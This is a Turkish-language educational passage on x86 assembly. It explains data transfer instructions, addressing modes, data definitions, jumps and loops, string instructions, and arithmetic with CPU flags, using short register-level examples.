Burada registerımagönderdiğimdeğerlerinhex olarakyazıldığınıve decimal olarakdakarşılıklarını
görüyorum.
Burada 10 ve 2E hexadecimal değerlerinascii karşılıklarıdabu şekilde.Bukavramlardakafanızdasoru
işareti kalıyorsaASCII,Hexadecimal,decimal,sayıtabanları,gösterimlerkonularınagözatmanızda
faydavar.
61. E mademregisterahexadecimal ekleyerekatıyorsunbizde 4142h diyerekhexadecimal olarakdirekt
4142 değerini registerdagörmekisteyebiliriz.
Aynı olayı8086 mimarisine uygunolarakgörseldeki gibiyazıyorum.Buradakodumusinglestep
diyerekadımadım işleyipregisterlarımıinceliyorum.Zatenilkstepde movkomutuile kopyalama
işleminigerçekleştiriyor.
Stepback komutuile atamaişleminigerçekleştirmedendurumabaktığımzaman1001 ve 1002 offset
değerlerinde 42ve 41 hexadecimal değerlerimigörüyorum.Yani buoffsetler birsonraki stepde
işlenecek.
RAMüzerinde ilgili değerlerimi görüyorum.
Yukarıdaki kod bloğunuincelersekilkolarakax registerına5 daha sonra4 değeri sıraylaatanacaktır.
62. İlkblokgerçekleştive ax 5 değerini aldı.Dahadoğrubir ifadeyle8bitlikbuveri 8 bitlikALregisterına
düşüyor.
Tekrar stepdedikve 4 değerininALiçerisinedüştüğünügörüyoruz.Buradaki olaydalittle endian,big
endiankavramlarınıçağrıştırıyor, ilerde bahsedilecektir.Buörnekler,kullanımlarçeşitlendirebilirbiz
diğerkomutlarımızageçelim.
XCHG KOMUTU
Bu da takasçımız diyebilirim.Yada benimolanısana,seninolanıbanaveriyorda diyebilirim.Örneği
göndergelsin.
Anlatmayagerekyokişte görüyorsunuz.EAXve ECXdeğerlerini birbiriyle takasetmişler.
INC – DEC KOMUTLARI
Burada EAXregisterı5 değerine sahipkeninckomutuile değeri 1artıyor ve 6 oluyor.Buradadirekt
programı run ettiğimdendolayıdoğal olarakincedilmişhalinidirektgörüyorum.Debuggervasıtasıyla
Stepstepincelersem5değeri ile açılışıyapıp 6 ile kapanışyaptığını görebilirim.DECkomutuise tam
tersi azaltmaişleminiyapıyor.
63. LEA KOMUTU
Burada sayilaradındadefine byte yani 1byte=8bitlikdeğerlere sahiphexadecimaldeğerleri tutanbir
dizimvar.Lea komutuise bx registerınasayilardizisininoffsetiniyani başlangıçdeğeri olan10h
değerini atıyor.Yani bukomutumuzkaynağınoffsetdeğerini hedefe aktarır.
XLAT KOMUTU
Şimdi buradaadım adım açıklarsam BX registerınasayilarınoffseti yani 25değeri taşınıyor.mov
komutual içine 1 atıyor ve xlatbu değeri 1artırıyor ve bu da sayilardizisi içindekiilkofsettensonra
gelen26 değerini al içerisine kopyalıyor.
Temel olarakaktarabileceğimveri aktarımkomutlarıbuşekildeydi.Okuduğunuziçinteşekkürler.
ADRESLEME MODLARI
X86 Assembly Adresleme Modları
Bu haftaki konumuz X86 Assembly Adresleme Modları hakkında olacak. İlk olarak X86 ve
X86 Assembly terimlerine ayrı ayrı değinmemiz gerekiyor.
X86 Nedir?
İntel'in 8086 işlemcisini merkez alan bir işlemci mimarisidir. İntel ve AMD işlemciler bu
mimariyi kullanmaktadır. Bu yüzden pazarın %90'ını bu mimari oluşturmaktadır.
X86 mimarisini kullanan işlemciler genelde aynı komut setlerini kullanır.
X86 Assembly Nedir?
64. X86 mimarisine sahip işlemcilere uyumlu olan Assembly dili demektir. Assembly hakkında
biraz detaya inecek olursak Assembly, alt seviye dillerden biridir yani makine diline yakındır
ve İngilizce sözcüklerin kısaltmasından oluşmuştur. Assembly genellikle karmaşık programlar
yazmak için kullanılıyor. Performans odaklı ve hafıza üzerinde az yer kaplar.
Assembly platformdan bağımsız, hedef bilgisayar mimarisine sıkı sıkıya bağlı bir dildir.
Bilgisayar üzerinde direkt müdehale imkanı tanır.
Assembly diğer programlama dilleri ile genellikle yapamayacağımız bir çok şeyi yapma
imkanı sunar. Özellikle siber güvenlik alanında;
Program ve işletim sistemlerinin güvenlik açıklarını görmek,
Şifre kırma, hacking işlemleri,
Malware ve anti-malware programları yazmak için kullanılabiliyor.
Ayrıca Assembly dilini makine koduna çeviren programlara Assembler denir. Assembler
birebir dönüşüm yapmaktadır. Bu yüzden derleyicilerden ayrılırlar.
Konumuza dönecek olursak.. Adresleme modları memory'nin nasıl kullanıldığının,
memory'ye nasıl erişileceğini ve verilerin memory'ye nasıl yerleştirileceğini belirler.
X86 Assembly'de doğru bir yazılım geliştirmek ve işleyişi tam olarak anlamak için her bir
komut için adresleme modunu bilmek gerekir.
Adresleme yöntemlerinin fazla olması high-level dillerdeki karmaşık işlemlerin daha kolay
bir şekilde yerine getirilmesine olanak tanır.
Adresleme modlarını 3 farklı kategoride inceleyebiliriz.
Veri Adresleme
Program Adresleme
Yığın Adresleme
Veri Adresleme Modları
Registerlar arasında ve register ile memory arasında yapılan 8,16 veya 32 bitlik veri aktarımı
işlemlerinde MOV komutunun kullanıldığı adresleme yöntemidir. Kendi içerisinde yediye
ayrılır.
1. Register Addressing(Saklayıcı/kaydedici Adresleme)
2. Immediate Addressing(İvedi Adresleme)
3. Direct Addressing(Doğrudan Adresleme)
4. Register Indirect Addressing(Kaydediciye Dayalı Adresleme)
5. Base-Plus-Index Addressing(Baz-Artı-İndis Adresleme)
6. Register Relative Addressing(Kaydediciye Dayalı Göreceli Adresleme)
7. Base Relative-Plus-Index Addressing(Baz Göreceli-Artı-İndis Adresleme)
Bunlara başlamadan önce MOV komutunu hatırlayalım
65. MOV AX,BX MOV > Opcode(Operasyon kodu) mikroişlemciye hangi
operand operasyonun çalıştırılacağını belirtir.
AX > Destionation(Hedef)
BX > Source(Kaynak)
Veri aktarım yönü hedef > kaynak
Operand(işlem fonksiyonu)
1.RegisterAddressing(Saklayıcı/kaydedici Adresleme)
Bu adresleme modunda kaynak ve hedef operand'ın her ikisi de 8086 register'larıdır. Yani
mikroişlemcinin iç register'ları arasında işlemler gerçekleştirilir.
Bu yüzden memory ile erişim yapılmaz. Memory ile erişim yapılmadığı için çok hızlıdır.
Örnek:
MOV AL,BH > BH, AL'ye kopyalanır.(İkisi de 8-bit register'dır.)
MOV AX,DX > DX, AX'e kopyalanır.(İkisi de 16-bit register'dır.)
* 8,16 veya 32 Bit register'lar olabilir ama karışık kullanılamaz.
Örnek:
MOV AL,BX > Şeklinde kullanılamaz.Sebebi AL 8-bit register, BX ise
16-bit register olmasıdır.
8-bit Register = AH,AL,BH,BL,CH,CL,DH,DL
16-bit Register = AX,BX,CX,DX,SP,BP,SI,DI
32-bit Register = EAX,EBX,ECX,EDX
Not: Daha fazlası var.
* Bir segment saklayıcısından diğerine adres aktarımı için MOV komutu kullanılamaz.
Örnek:
MOV ES,DS > Şeklinde kullanılamaz.Sebebi segment'den segmente bir
aktarım vardır.
* CS registerı hedef konumda olamaz. Yani MOV komutu ile değiştirilemez. Sebebi
yürütülecek olan bir sonraki komutun adresi CS:IP çifti tarafından belirlenmektedir. CS
registerı değiştirilirse yürütülecek bir sonraki komutun adresi belirsiz olacaktır.
Örnek:
MOV CS,AX > Şeklinde kullanılamaz.CS registerı hedef konumda.
2.Immediate Addressing(İvedi Adresleme)
66. Kaynak operand sabit bir veri olmalıdır. Bu sabit veri hedef registera aktarılır.
Immediate(hemen, acil anlamı vardır.) kelimesi heksadesimel opcode'dan(Operasyon kodu,
buradaki örneklerde mov) hemen sonra gelen hafıza satırındaki verinin kullanılmasını ifade
eder.
* Immediate veriler sabittir, zaten yukarıda bahsetmiştik. Register'dan veya hafıza satırından
okunan veriler, değişken verilerdir.
Not: Herhangi bir sabit, ilk operand'ın(yani hedef operand) uzunluğundan daha büyük bir veri
olamaz, ama daha küçük olabilir.
* Segment register'lar ve flag register'lar ilk operand'da(hedef operand'da) kullanılamaz.
Örnek:
MOV AL,23 > 23(Decimal) AL register'ına kopyalandı.
MOV BX,77H > 77H(Hex veriler sonunda h harfiyle belirtilir.) BX
register'ına kopyalandı.
3.Direct Addressing(Doğrudan Adresleme)
Doğrudan bir adres değeri kullanılır. Bir adresten bir registera veri aktarımı gerçekleştirilir.
Özet olarak operand'lardan birisi adres belirtir.
MOV Register,Memory veya Memory,Register
Örnek:
MyAddress DW,32H > MyAddress bir adrestir. 32H bu adresin içindeki
değerdir.
MOV AX,MyAddress > MyAddress içerisindeki değeri AX register'ına at
Bu işlemi direkt olarak şu şekilde de yapabilirdik:
MOV AX,[32H]
Not: [..] sembolü Assembly dilinde dolaylı adresleme için kullanılır.
4.RegisterIndirect Addressing(Kaydediciye Dayalı Adresleme)
BX,BP,DI,SI register'ları ile hafızanın herhangi bir yerinde bulunan bir veri adreslenir.
BX,DI,SI > DS'de bulunan veriyi adreslemektedir.
BP ise > SS'de bulunan bir hücre adreslenmiş olur.
Örnek:
MOV AL,[BX] > DS alanında bulunan ve BX ile adreslenen veriyi AL'ye
kopyala
67. MOV [BP],CL > BP ile adreslenen SS alanindaki hafıza hücresine CL'yi
kopyala
5.Base-Plus-Index Addressing(Baz-Artı-İndis Adresleme)
Baz register'da(BP veya BX) bulunan degere indis register'larda(DI veya SI) bulunan değer
ilave edilerek bulunan değerin işaret ettiği hafıza adresindeki veri ile register'da bulunan veri
arasında yapılan transferi gerçekleştirir.
Buradaki baz register'lar, bir hafıza dizisinin başlangıç adresini, indis register'lar ise dizideki
verinin göreceli pozisyonunu tutar.
MOV Register,[Baz Register + İndis Register]
Örnek:
MOV CL,[BP+SI] > SS alanında bulunan ve BP + SI toplamı ile adreslenen
veri CL'ye kopyalanır.
MOV [BX+DI],CL > CL'de bulunan veri BX+DI toplamı ile adreslenen alana
kopyalanır.
6.RegisterRelative Addressing(Kaydediciye Dayalı Göreceli Adresleme)
İndis veya baz register'larından herhangi birine bir sayı ileve edilmesiyle oluşan değerin
hafıza bölgesi ile işaret ettiği(hedef registera) registera kopyalanmasıdır.
MOV Register,[indis or baz + sayı]
Örnek:
MOV AX,[BX+50] > DS alanında bulunan BX+50 toplamı ile adreslenen veri
AX'e kopyalanır.
7.Base Relative-Plus-Index Addressing(Baz Göreceli-Artı-İndis Adresleme)
Register Relative benzemektedir. Buradaki fark indis ve baz registerlarının ikisininde
bulunmasıdır. Bunların üzerine bir de sayı eklenmesiyle oluşan değerin işaret ettiği hafıza
bölgesi ile register arasındaki kopyalama işlemidir.
MOV Register,[Baz + İndis + Sayı]
Örnek:
MOV AX,[BX+DI+5] > DS'de bulunan ve BX+DI+5 ile ifade edilen yerdeki
veriyi AX register'ına kopyalar.
Program Adresleme Modları
Programa karar verme özelliği sağlayarak program akışını kontrol eden veya değiştiren
68. adresleme modlarıdır.
JMP komutu sıkça kullanılır.
JMP komutu Nedir?
Programı belirtilen etiketin olduğu yere dallandırmakta ve program buradan çalışmaya devam
etmektedir.
JMP HEDEF
Kendi içerisinde üçe ayrılır.
1. Doğrudan(Direct) Program Hafıza Adresleme
2. Göreceli(Relative) Program Hafıza Adresleme
3. Dolaylı(Indirect) Program Hafıza Adresleme
1.Doğrudan(Direct) Program Hafıza Adresleme
Segmentler arası bir işlemdir.Mevcut kod segmentinden farklı bir kod segmentine geçiş
sağlar. Eğer doğrudan bir program adresine ulaşmak istiyorsak kullanabiliriz.
Bu adreslemede CS:IP çifti uygun şekilde değiştirilir.
Örnek:
JMP 200H:300H > CS <- 200H , IP <- 300H
2.Göreceli(Relative) Program Hafıza Adresleme
Mevcut IP register'ın değerine göre hangi program hafızasının adresleneceğini ifade eder.
Örnek:
JMP 100
JMP 0FFH
JMP 1000H
3.Dolaylı(Indirect) Program Hafıza Adresleme
16-bit register'lardan(AX,BX,CX,DX,SP,BP,SI,DI..) herhangi biri, göreceli bir registerı veya
bir yer değişim değeri ile beraber kullanılabilir.
Örnek:
JMP CX > o an hangi kod segmenti içindeysek, BX ile adreslenen hafıza
bölgesine dallan
JMP [BX] > o an hangi kod segmenti içindeysek, BX ile işaretli DS'de yer
alan bir ofset ile adreslenen yere dallan
69. Yığın Hafıza Adresleme Modları
Yığın hafıza verileri geçici olarak saklar. Yığın hafıza 8086/8088 ve diğer bir çok
mikroişlemcide LIFO(Last in First Out) prensibine göre çalışır. PUSH ve POP komutlarını
kullanılır.
PUSH komutu ile veri yığın üstüne yerleştirilir.
POP ile de veri yığından çekilir.
CS hariç tüm register'lar yığından veri çekebilir.
Örnek:
POP CS > Assembler hatası verir.
Yığın hafızadaki veri SS:SP çifti ile gösterilir.
Örnek:
PUSH AX > AX içeriğini yığına sakla
POP BX > Yığından BX register'ına oku
PUSH DS > DS'nin bir kopyasını yığına sakla
PUSHF > Flag register'ına yığına sakla
POPF > Yığından flag register'ına oku
VERİ TANIMLAMALARI
X86 AssemblyVeri Tanımlamaları
Assemblynedir?
Assemblydiğerprogramlama dillerine göre dahazor ve yazması daha uzundur. Ancak diğerdillere
göre birdençok üstünlüğübulunmaktadır. Bu dili kullanırkenkullanılanmakinenindonanımsal
70. özelliklerininiyi birşekilde bilinmesi gerekmektedir.
Başlatılan verileriçinVeri tanımlama:
DB (Define Byte) = 1 byte veri tanımlar.
DW (Define Word) = 2 byte veri tanımlar.
DD (Define Doubleword) =4 byte veri tanımlar.
DF (Define Far Word):6 byte veri tanımlar.
DQ (Define Quadword) = 8 byte veri tanımlar.
DT (Define Tenbyte) =10 byte veri tanımlar.
DUP = Duplicate
Kod:
section .text
global _start
_start: ; giriş noktası
movedx,5 ; mesaj uzunluğu
movecx,choice ; yazılacak mesaj
movebx,1 ; dosya tanımlayacısı
moveax,4 ; sistem çağrı numarası (sys_write)
int0x80 ; çağrı çekirdeği
section .data
choice DW 'bunny'
Bu kodu çalıştırdığımızda bize çıktı olarak bunny yazısını verecektir.
71. Burada bulunan değişkeni db olarak tanımlarsak hafızada 1 byte değer ayırır.
dw olarak tanımlarsak 2 byte değer ayırır.
Burada mov ile xe deneme1 değişken değerini atadı.
72. db ile 8bitlik bir veri tanımladık ancak 16 bitlik bir ax registerinde yazmaya
çalışırsak hata verecektir. 16 bit registerın neresine yazayım bu 8 biti ben
diyor. Bu hatayı düzeltmek için ise;
73. Word ptr kullanabiliriz. Word ptr sayesinde tamam 16 bitsen 8 biti al kendi
içinde yer alan 8 bitlik registera aktar diyoruz.
word ptr detaylı bilgi: https://www.youtube.com/watch?v=owCyceN3ALk
Bu konumunda burda sonuna gelmiş bulunmaktayım.
Bugs Bunny iyi günler diler.
KONTROL YAPILARI VE DÖNGÜLER
Kontrol Y
apıları
Assambly dilinde Kontrol Yapılarını inceleyelim Assembly dilinde Kontrol işlemleri,
birkaç döngü ve dallanma talimatıyla gerçekleştirilir. İncelemeye Koşullu atlama ve
Koşulsuz atlama ile başlayalım sonrada Döngüler şeklinde devam edelim.
Koşulsuz Atlama
JMP talimatı ile gerçekleştirilir. Bir koşula bağlı olarak bir dizi atlama talimatı söz
konusu değildir. Koşullu yürütme, genellikle o anda yürütülmekte olan talimatı takip
etmeyen bir talimatın adresine bir kontrol aktarımını gerçekleştirir. Kontrolün devri ileri
yönlü ve yeni bir talimatlar dizisini uygulamak için veya aynı adımları yeniden
uygulamak için kullanılabilinir.
Koşullu Atlama
Koşullu atlama koşula bağlı olarak bir dizi atlama talimatı ( j <koşul> ) ile
gerçekleştirilir. Koşullu komutlar, sıralı akışı keserek kontrolü aktarır ve bunu (IP)'
deki ofset değerini değiştirerek yaparlar.
Koşullu atlatmanın detayına inmeden önce CMP kavramın değinmemiz daha doğru
olaçaktır
CMP
Cmp işlenen iki değeri karşılaştırır. Genelde şartlı durumlar için kullanılır. Bu komut
temelde işlenenlerin eşit olup olmadığını karşılaştırmak için bir işleneni diğerinden
çıkarır ve karar verme durumunda koşullu atlama talimatıyla birlikte kullanılır. Hedef
veya kaynaktan gelen değerde herhangi bir oynama söz konusu değildir.
CMP iki sayısal veri alanını karşılaştırmakla birlikte gelen veriler sabit veya anlık
olması durumu değiştirmez ASM yazım şekli olarakta
( CMP hedef,kaynak )
yukarıdaki formatta karşımıza çıkmaktadır.
74. CMP genellikle bir sayaç değerinin bir döngünün çalıştırılması gereken sayıya ulaşıp
ulaşmadığını karşılaştırmak için kullanılabilir. Burada JE komutu zero flag aktif ise
atlama işlemini gerçekleştiriyor.
Koşulsuz Atlama
Yukarıda bahsettiğim gibi, bu JMP talimatı ile gerçekleştirilir. Koşullu işlem esnasında
genellikle o anda işlem gören olan talimatı takip etmeyen bir talimatın adresine bir
kontrol aktarımını barındırır. Kontrolün devri ileri, yeni bir talimatlar dizisini uygulamak
için veya aynı adımları yeniden uygulamak için kullanılabilir olabilir.
JMP Kullanım Şekli ( JMP Label )
Koşullu Atlama
Koşullu atlamada belirtilen koşullar karşılanırsa akış belirtilen hedefe doğru aktarılır.
Koşul ve verilere bağlı olarak çok sayıda koşullu atlama yöntemleri vardır.
Bunu yazılım dillerinde kullanılan ( if / elif / else ) koşullarına benzetebiliriz ; koşul ve
durumlara göre nasıl yazıyorsak burada da aynı mantalite ancak assembly de koşullu
atlama ikiye ayrılmaktadır. Aritmetik ve Mantıksal işlemler için farklı atlama talimatları
kullanılmaktadır.
75. Aritmetik işlemlerde kullanılan atlama talimatları
Mantıksal işlemlerde kullanılan atlama talimatları
Aşağıda da koşullu atlamada kullanılan diğer talimatları görmekteyiz
76. Son olarak da Test edilen bayraklar daha doğrusu Kontrol Kayıtlarının kısaltmalarının
açıklamalarına değinecek olursak
Overflow Flag (OF) - İmzalı bir aritmetik işlemden sonra yüksek dereceli bir veri
bitinin (en soldaki bit) taşmasını gösterir.
Direction Flag (DF) - Dizi verilerini hareket ettirmek veya karşılaştırmak için sol
veya sağ yönü belirler. DF değeri 0 olduğunda, dizi işlemi soldan sağa ve değer 1
olarak ayarlandığında, dizi işlemi sağdan sola doğru olur.
Interrupt Flag (IF) - Klavye girişi vb. Gibi harici kesintilerin yok sayılacağını veya
işleneceğini belirler. Değer 0 olduğunda harici kesmeyi devre dışı bırakır ve 1'e
ayarlandığında kesmeleri etkinleştirir.
Trap Flag (TF) - İşlemcinin çalışmasını tek adımlı modda ayarlamaya izin verir.
Kullandığımız DEBUG programı tuzak bayrağını ayarlar, böylece her seferinde bir
komut yürütme aşamasına geçebiliriz.
Sign Flag (SF) - Bir aritmetik işlemin sonucunun işaretini gösterir. Bu bayrak,
aritmetik işlemin ardından bir veri öğesinin işaretine göre ayarlanır. İşaret, en soldaki
bitin yüksek sırasıyla gösterilir. Pozitif bir sonuç, SF'nin değerini 0'a temizler ve
negatif sonuç onu 1'e ayarlar.
Zero Flag (ZF) - Bir aritmetik veya karşılaştırma işleminin sonucunu gösterir. Sıfır
olmayan bir sonuç sıfır bayrağını 0 olarak temizler ve sıfır sonuç onu 1 olarak ayarlar.
77. Auxiliary Carry Flag (AF) - Bir aritmetik işlemin ardından bit 3'ten bit 4'e taşımayı
içerir; özel aritmetik için kullanılır. AF, 1 baytlık bir aritmetik işlem, bit 3'ten bit 4'e
taşınmaya neden olduğunda ayarlanır.
Parity Flag (PF) - Bir aritmetik işlemden elde edilen sonuçtaki toplam 1 bit sayısını
gösterir. 1 bitlik çift sayı, eşlik bayrağını 0'a, tek sayıdaki 1 bitlik eşlik bayrağını 1'e
ayarlar.
Carry Flag (CF) - Bir aritmetik işlemden sonra yüksek dereceli bir bitten (en soldaki)
0 veya 1'in taşınmasını içerir. Ayrıca, bir kaydırma veya döndürme işleminin son
bitinin içeriğini de depolar.
Döngüler
JMP gibi kontrol talimatı döngüler için kullanılabilir. Örneğin, aşağıdaki kod parçacığı
döngü gövdesini 6 kez çalıştırmak için kullanılabilir.
kontrol talimatları dışında oluşturabileceğimiz döngü talimatı LOOP dur. Kullanım
şekli ise
LOOP label
şeklindedir bununla birlikte LOOP komutu, ECX kaydının döngü sayısını içerdiğini
varsayar. Döngü başladığında, ECX kaydı bir bir azaltılır ve kontrol, ECX kayıt
değeri, yani sayaç sıfır değerine ulaşıncaya kadar döngü devam eder.
yukarıdaki örnek kod betiğinde de görüleceği üzere döngünün 2 kere tekrarlanmasını istiyor.
Döngüler başlığının altında da gösterdiğim gibi LOOP ile olacak diye bir şart yok. Şimdi
başka bir örneği inceleyelim basit bir ( while ) döngüsünün assembly karşılığını inceleyelim
ve LOOP talimatını kullanmadan yapalım bunu
78. LOOP lu örneğimizde loop değeri eax daki veriden alıyordu ona göre döngü sayısını
belirliyordu
yani elimizdeki hedef sayıdan mevcut sayı çıkarılıp EAX registerine atanıp döngü sayısı ona
göre belirleniyordu
Yukarıdaki örnekte ise elimizdeki sayı ile hedefteki sayı eşit mi değil mi diye kontrol edilip
ona göre döngünün devam edip etmeyeceği kararına varılıyor. Kontrol mekanizması ise CMP
ile gerçekleştiriliyor. CMP nin mantığı bir değer diğerinden çıkarılıp Sıfıra eşit olma
durumuna göre atlamalar gerçekleşiyor.
Kontrol Yapıları başlığı altında CMP konusuna değinmiştik daha iyi pekiştirmek adına
konuyu tekrar inceleyebilirsiniz
STRING İŞLEMLERİ
Merhabalar,bu konumuzdaAssemblyprogramlamadilindestringişlemlerini inceleyeceğiz.Hemen
bir şeyleryazalımve üzerinekonuşalım.
Burada db yani 1 byte=8bitlikdeğertutanpve e karakterlerini tuttum.Source code kısmıbize bunu
söylüyor.Üsttarafa bakalım1000 ve 1001 offsetdeğerlerimizdepve e karakterlerini görüyoruz.70
hex değeri olarak,112 signedolarakp karakterini işaretediyor.1.offsetide buşekildesizyorumlayın.
Bunları variablesyani değişkentablomuzdandainceleyebiliriz.
79. P ve e yani 2 element,hex karşılıklarısıraylagördüğünüzgibi.
ASCIIolarakda görebiliyoruz.Buradanaktarabileceğimstringtanımlamasıyaparkenbyte,Word,
double Wordtiplerinde tanımlayabiliriz.
Stringişlemlerinde hedef veyakaynakkaydedicisi olarakAXregisterıkullanılırkenbellekadresini SIve
DI kaydedicileri tutar.BiryazınınbiryerdenkopyalanmasıolayınıdüşünürsekkaynakolarakDS,hedef
olarakES kullanılır.Aşağıdaki örneği inceleyelim.
İlksatırda data segmenti adresinialıyorum.Sonraki ikisatırdabuadresleri dsve essegmentlerine
aktarıyorum.
Şimdi satır satır incelediğimizdatasegmentininadresininax registerınaaktarıldığınıgörüyoruzbunun
da 712 adresine sahipolduğunugörmekteyiz.
80. Single stepdediğimzaman712 değeri ax içerisine kopyalandıgördüğünüzgibi.Sağtaraftamov
komutuişlendi,sol tarafta712 değeri ax içerisinedüştü.Şimdiise 2.satırıişleyeceğizve DS
segmentimizebakacağız.
DS segmentimeAXiçerisindeki712 değeri kopyalandışimdi 1adımdaha ilerleyelim.
Son adımdaES segmentime de ilgilideğeraktarıldıyani buradaAX’inbellekadresiDSve ES
segmentlerine kopyalandı.Buşekilde temel olarakbir işleyişe gözatmışolduk.Stringlerimizden
devamedelim.
Şimdi bukodlarımızı inceleyelim.Leakomutuile isimdeğişkeni içindeki offsetdeğeri si segmentine,
isim2içindeki offsetise di segmentineatanıyor.İsim2değeri 4.offsettenbaşlayacaktır.Yani isim2’nin
offsetdeğeri olan4di segmentine atanacaktır.
Burada enüst kısma gelirsekdefine byte tipindeyani 1byte değerinde pentkarakterleri isim
değişkeninde tutuluyor.Buradaisim2değişkeniiçinise 5byte yerayrılıyor.
Şimdi bukodlarımızı işletelim.
Tektek pentkarakterleri isim2değişkeniiçerisine aktarıldı.
81. Şimdi bukodsatırlarımızda ise lodsbile isimdeğişkeni içindeki ilkoffsetolanpharfi ax registerıiçine
aktarılacak.Stosb bu p harfini alacakve isim2’niniçineyerleştirecek.
Yani programişlevinibitirdiği zamanisim2içine pharfi atanacaktır.
Buradaki örneğimizdeise cmpsbkomutunuinceleyeceğiz.
Bu program işlendiği zamanbizimbayraklarımızdanzeroflag1 değerini alacaktır.
Şimdi bunedir?Bizimburadaiki adet aynı değerleritaşıyandeğişkenlerimizvar.İlgilioffsetleralınıyor
leakomutuile ve ensondaise cmpsbdevreye giriyor.Yani bukomutumuz2değerineşitolup
olmadığını kontrol ediyorkarşılaştırmayapıyorve olumluise zeroflag1yanıyor. Bizimiki değerimizin
de offseti e harfini taşıyorhaliyleeşitolduklarındankarşılaştırmasonucundadeğerlerinaynı
olduğunugörüyoruz.
82. Burada ise p karakteri ax içine aktarılıyorcx registerıise isimdeğerimizinveri sayısınıtutuyor.scasb
ise p harfini isimdeğişkenimiziçinde arıyorve bulursazeroflag1 değerini alıyor.Aksi haldezeroflag
0 değerindekalacaktır.
ARİTMETİK MANTIK KOMUTLARI
Assembly Aritmetik ve Mantık Komutları
Aritmetik İşlemler
Aritmetik işlemler toplama(ADD-ADC), çıkarma(SUB-SBB), çarpma(MUL-IMUL) ve
Bölme(DIV,IDIV) olmak üzere 4 bölümden oluşur. Aritmetik işlemler bayrakları(flags)
etkilemektedir. Bayraklara bakılarak büyük-küçük kontrolleri, kalansız bölünüyor mu? gibi
kontroller yapilabilmektedir. Aritmetik işlemlere geçmeden önce bayraklara ufaktan
değinelim.
Bayraklar(flags)
Bayrak kaydedicileri 16 bit veri taşıyabilir, her bit bir bayrağı ifade eder.
Carry flag (CF)
İşaretsiz sayılarla yapılan işlemler sonucunda bir taşma söz konusu ise bu bayrak 1 yani aktif,
taşma meydana gelmiyor ise 0 yani pasiftir.
83. Örnekte de gözüktüğü üzere al 8 bitlik bir ifade ve al 0-255 arasında değerler alabilir. al ile bl
i toplayıp al'ye attığımız zaman bir taşma oluyor ve carry flag aktifleşiyor.
Parity flag (PF)
İşlemin sonucundaki değerdeki 1 olan bitlerin sayısı çift sayı ise bu bayrak 1 yani aktif eğer
işlemin sonucundaki değerde 1 olan bitlerin sayısı tek ise bu bayrak 0 yani pasif olur.
Burada al'deki 8 değeri ile bl'deki 9 değeri toplanıp al'ye yazıldı sonucun binary değeri
00010001 yani burada 1 olan bitlerin sayısı 2 çift sayıdır. Bu yüzden parity flag aktif oluyor.
Zero flag (ZF)
Herhangi bir işlem sonucunda sıfır değeri elde ediliyorsa bu bayrak 1 yani aktif eğer işlemin
sonucu sıfır değilse bu bayrak 0 yani pasif olur.
84. Buradaki örnekte al'ye atanan 1 değeri daha sonra dec komutu al'yi 1 azalttı ve al 0 oldu. Bu
yüzden zero flag aktif oluyor.
Sign flag (SF)
Aslında en basit ifade ile bu bayrak işlem sonucunda elde edilen değerin en soldaki bitini yani
işaret bitini tutuyor. İşlem sonucunda elde edilen değerin işaret bit'i 0 ise bu bayrak pasif 1 ise
aktif oluyor. Biz bir aritmetik işlemde sonucun negatif olup olmadığını bu bayrak sayesinde
anlayabiliriz.
Örnekte al'deki 9 değeri ile bl'deki -10 değeri toplanıp al'ye yazıldı binary değeri 11111111 en
soldaki bit yani işaret bit'i 1 olduğu için bu bayrak aktif durumdadır.
Overflow flag (OF)
İşaretli sayılarda yapılan işlemin sonucu işaretli sayı aralığında ise 0 yani pasif ama bir aşma
durumu var ise 1 yani aktif olur.
85. 8 bitlik işaretli sayılarda en küçük değer -128 en büyük ise +127'dir. Burada al ile bl toplamı
130 al'ye aktarıldı. İşlemin sonucu işaretli sayı aralığını aşma durumu gerçekleştiği için bu
bayrak 1 yani aktif durumdadır.
Auxiliary carry flag (AF)
İşaretsiz sayılarda yapılan işlem sonucunda 4 bit'te taşma meydana geliyorsa Auxiliary carry
flag 1 yani aktif eğer taşma meydana gelmez ise 0 yani pasif olur.
Burayı şöyle düşünelim al'ye 10 değerini atadık yani 00001010, bl'ye 6 değerini atadık yani
00000110, ikisini toplayıp(10 + 6 = 16) al'ye atadık. Bilindiği üzere 4 bit 0-15 arasındaki
sayılar ile ifade ediliyordu. 00001010 + 00000110 = 00010000 görüldüğü gibi düşük değerli 4
bit'te taşma meydana geldi ve bu bayrak aktif duruma geçti.
Direction Flag (DF)
Ardışık verilerde özellikle string işlemlerinde kullanılan komutların ileri mi geri yönlü mü
çalışacağını belirlemektedir. Direction flag 1 ise geri yönlü 0 ise ileri yönlü işlem yapılır.
Interrupt enable Flag (IF)
Default olarak 1 değeri vardır. 1 yani aktif durumda iken işlemciye harici cihazlardan
kesme(interrupt) sinyalleri gönderilebilir.
86. Aritmetik Komutlar - Toplama(ADD-ADC)
ADD toplama, ADC elde ile toplamadır.ADD ile tek farkı elde bayrağının da(CF)
eklenmesidir.
ADD ile Toplama işlemi
İşlemin özeti: add deger1,deger2 -> deger1 = deger1 + deger2
register, register şeklinde kullanımı;
memory, register şeklinde kullanımı;
register, memory şeklinde kullanımı;
87. register, immediate şeklinde kullanımı;
memory, immediate şeklinde kullanımı;
Not: 8 bitlik kaydedicide toplama işleminin sonucu 8 bit'i aşarsa over flag(OF) ve carry
flag(FG) aktif olur.
ADC ile Toplama İşlemi
Yapılan işlemin özeti: adc deger1,deger2 -> deger1 = deger1 + deger2 + CF
88. ADC ile eldeli toplamaya gelecek olursak ADD için geçerli olan tüm durumlar burada da
geçerli. Yukarıda belirttiğimiz gibi tek fark elde bayrağının işin içine girmesidir.
Aritmetik Komutlar - Çıkarma(SUB-SBB)
SUB ve SBB ikisi de çıkarma işlemi gerçekleştirmek için kullanılır. Aralarındaki temel fark
SUB ile çıkarma işlemi yapılırken çıkarma işlemine CF dahil edilmez. SBB ile çıkarma işlemi
yapılırken çıkarma işlemine CF de dahil edilir.
register, register
memory, register
register, memory
register, immediate
memory, immediate
kullanımı mevcuttur. Bu yönden toplama işlemi ile bir fark yok. Yukarıdaki gibi her biri için
örnek vermeyeceğim.
SUB ile Çıkarma işlemi
İşlemin özeti: sub deger1,deger2 -> deger1 = deger1 - deger2
register, immediate şeklinde kullanıma örnek verdik.
89. register, register şeklinde kullanıma örnek verdik.
SBB ile Çıkarma işlemi
İşlemin özeti: sbb deger1,deger2 -> deger1 = deger1 - deger2 -CF
Bu örneği açıklayacak olursak al'ye 3 değeri atandı, daha sonra sub ile çıkarma işlemi yapıldı
ve 6 çıkarıldı. Bu sırada al değeri FD(253) oldu ve carry flag değeri 1 oldu. En son aşamada
